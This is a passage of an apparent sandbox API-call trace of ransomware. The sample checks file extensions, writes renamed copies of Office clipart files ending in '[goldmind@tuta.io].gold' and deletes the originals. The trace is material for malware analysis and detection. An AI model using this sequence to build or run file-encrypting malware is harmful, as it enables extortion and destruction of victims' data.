(lpString=".ppt") returned 4 [0101.811] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0101.811] lstrlenW (lpString=".zip") returned 4 [0101.811] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.811] lstrlenW (lpString=".rar") returned 4 [0101.811] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.811] lstrlenW (lpString=".bz2") returned 4 [0101.811] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.811] lstrlenW (lpString=".7z") returned 3 [0101.811] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0101.811] lstrlenW (lpString=".dbf") returned 4 [0101.811] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0101.811] lstrlenW (lpString=".1cd") returned 4 [0101.811] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0101.811] lstrlenW (lpString=".jpg") returned 4 [0101.811] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0101.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0101.812] lstrlenW (lpString=".doc") returned 4 [0101.812] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.812] lstrlenW (lpString=".docx") returned 5 [0101.812] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0101.812] lstrlenW (lpString=".pdf") returned 4 [0101.812] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.812] lstrlenW (lpString=".xls") returned 4 [0101.812] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.812] lstrlenW (lpString=".xlsx") returned 5 [0101.812] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0101.812] lstrlenW (lpString=".ppt") returned 4 [0101.812] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0101.812] lstrlenW (lpString=".zip") returned 4 [0101.812] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.812] lstrlenW (lpString=".rar") returned 4 [0101.812] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.812] lstrlenW (lpString=".bz2") returned 4 [0101.812] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.812] lstrlenW (lpString=".7z") returned 3 [0101.812] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0101.812] lstrlenW (lpString=".dbf") returned 4 [0101.812] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0101.812] lstrlenW (lpString=".1cd") returned 4 [0101.812] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0101.812] lstrlenW (lpString=".jpg") returned 4 [0101.812] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.812] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.812] lstrlenW (lpString="J0099164.WMF") returned 12 [0101.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.833] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=21946) returned 1 [0101.833] CloseHandle (hObject=0x398) returned 1 [0101.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 0x20 [0101.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0101.847] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.847] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.848] GetLastError () returned 0x0 [0101.848] ReadFile (in: hFile=0x3c8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x55ba, lpOverlapped=0x0) returned 1 [0101.850] WriteFile (in: hFile=0x398, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x55c0, lpOverlapped=0x0) returned 1 [0101.852] ReadFile (in: hFile=0x3c8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.852] WriteFile (in: hFile=0x398, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.852] SetEndOfFile (hFile=0x398) returned 1 [0101.852] CloseHandle (hObject=0x398) returned 1 [0101.852] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.852] SetEndOfFile (hFile=0x3c8) returned 1 [0101.854] CloseHandle (hObject=0x3c8) returned 1 [0101.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0101.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0101.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0101.855] lstrlenW (lpString=".doc") returned 4 [0101.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.855] lstrlenW (lpString=".docx") returned 5 [0101.855] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0101.855] lstrlenW (lpString=".pdf") returned 4 [0101.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.855] lstrlenW (lpString=".xls") returned 4 [0101.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.855] lstrlenW (lpString=".xlsx") returned 5 [0101.855] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0101.855] lstrlenW (lpString=".ppt") returned 4 [0101.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0101.855] lstrlenW (lpString=".zip") returned 4 [0101.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.855] lstrlenW (lpString=".rar") returned 4 [0101.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.856] lstrlenW (lpString=".bz2") returned 4 [0101.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.856] lstrlenW (lpString=".7z") returned 3 [0101.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0101.856] lstrlenW (lpString=".dbf") returned 4 [0101.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0101.856] lstrlenW (lpString=".1cd") returned 4 [0101.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0101.856] lstrlenW (lpString=".jpg") returned 4 [0101.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0101.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0101.856] lstrlenW (lpString=".doc") returned 4 [0101.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.856] lstrlenW (lpString=".docx") returned 5 [0101.856] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0101.856] lstrlenW (lpString=".pdf") returned 4 [0101.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.856] lstrlenW (lpString=".xls") returned 4 [0101.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.856] lstrlenW (lpString=".xlsx") returned 5 [0101.856] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0101.856] lstrlenW (lpString=".ppt") returned 4 [0101.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0101.856] lstrlenW (lpString=".zip") returned 4 [0101.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.856] lstrlenW (lpString=".rar") returned 4 [0101.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.856] lstrlenW (lpString=".bz2") returned 4 [0101.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.856] lstrlenW (lpString=".7z") returned 3 [0101.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0101.856] lstrlenW (lpString=".dbf") returned 4 [0101.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0101.856] lstrlenW (lpString=".1cd") returned 4 [0101.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0101.856] lstrlenW (lpString=".jpg") returned 4 [0101.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.857] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.857] lstrlenW (lpString="J0099168.JPG") returned 12 [0101.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0101.857] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=20179) returned 1 [0101.857] CloseHandle (hObject=0x3c8) returned 1 [0101.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 0x20 [0101.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0101.858] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.858] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.859] GetLastError () returned 0x0 [0101.859] ReadFile (in: hFile=0x3c8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4ed3, lpOverlapped=0x0) returned 1 [0101.868] WriteFile (in: hFile=0x398, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0101.869] ReadFile (in: hFile=0x3c8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.869] WriteFile (in: hFile=0x398, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.869] SetEndOfFile (hFile=0x398) returned 1 [0101.869] CloseHandle (hObject=0x398) returned 1 [0101.869] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.869] SetEndOfFile (hFile=0x3c8) returned 1 [0101.871] CloseHandle (hObject=0x3c8) returned 1 [0101.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0101.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0101.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0101.944] lstrlenW (lpString=".doc") returned 4 [0101.944] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.944] lstrlenW (lpString=".docx") returned 5 [0101.944] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0101.944] lstrlenW (lpString=".pdf") returned 4 [0101.944] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.944] lstrlenW (lpString=".xls") returned 4 [0101.944] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.944] lstrlenW (lpString=".xlsx") returned 5 [0101.944] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0101.944] lstrlenW (lpString=".ppt") returned 4 [0101.944] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0101.944] lstrlenW (lpString=".zip") returned 4 [0101.944] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.944] lstrlenW (lpString=".rar") returned 4 [0101.944] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.944] lstrlenW (lpString=".bz2") returned 4 [0101.944] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.944] lstrlenW (lpString=".7z") returned 3 [0101.944] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0101.944] lstrlenW (lpString=".dbf") returned 4 [0101.944] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0101.944] lstrlenW (lpString=".1cd") returned 4 [0101.944] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0101.944] lstrlenW (lpString=".jpg") returned 4 [0101.944] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0101.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0101.945] lstrlenW (lpString=".doc") returned 4 [0101.945] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.945] lstrlenW (lpString=".docx") returned 5 [0101.945] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0101.945] lstrlenW (lpString=".pdf") returned 4 [0101.945] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.945] lstrlenW (lpString=".xls") returned 4 [0101.945] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.945] lstrlenW (lpString=".xlsx") returned 5 [0101.945] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0101.945] lstrlenW (lpString=".ppt") returned 4 [0101.945] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0101.945] lstrlenW (lpString=".zip") returned 4 [0101.945] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.945] lstrlenW (lpString=".rar") returned 4 [0101.945] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.945] lstrlenW (lpString=".bz2") returned 4 [0101.945] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.945] lstrlenW (lpString=".7z") returned 3 [0101.945] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0101.945] lstrlenW (lpString=".dbf") returned 4 [0101.945] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0101.945] lstrlenW (lpString=".1cd") returned 4 [0101.945] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0101.945] lstrlenW (lpString=".jpg") returned 4 [0101.945] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.945] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.945] lstrlenW (lpString="J0099169.WMF") returned 12 [0101.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.946] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=10192) returned 1 [0101.946] CloseHandle (hObject=0x198) returned 1 [0101.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 0x20 [0101.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.946] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.947] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.952] GetLastError () returned 0x0 [0101.952] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x27d0, lpOverlapped=0x0) returned 1 [0101.985] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x27e0, lpOverlapped=0x0) returned 1 [0101.986] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.986] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.986] SetEndOfFile (hFile=0x38c) returned 1 [0101.986] CloseHandle (hObject=0x38c) returned 1 [0101.986] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.986] SetEndOfFile (hFile=0x198) returned 1 [0101.988] CloseHandle (hObject=0x198) returned 1 [0101.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0101.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0101.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0101.989] lstrlenW (lpString=".doc") returned 4 [0101.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.989] lstrlenW (lpString=".docx") returned 5 [0101.989] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0101.989] lstrlenW (lpString=".pdf") returned 4 [0101.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.989] lstrlenW (lpString=".xls") returned 4 [0101.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.990] lstrlenW (lpString=".xlsx") returned 5 [0101.990] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0101.990] lstrlenW (lpString=".ppt") returned 4 [0101.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0101.990] lstrlenW (lpString=".zip") returned 4 [0101.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.990] lstrlenW (lpString=".rar") returned 4 [0101.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.990] lstrlenW (lpString=".bz2") returned 4 [0101.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.990] lstrlenW (lpString=".7z") returned 3 [0101.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0101.990] lstrlenW (lpString=".dbf") returned 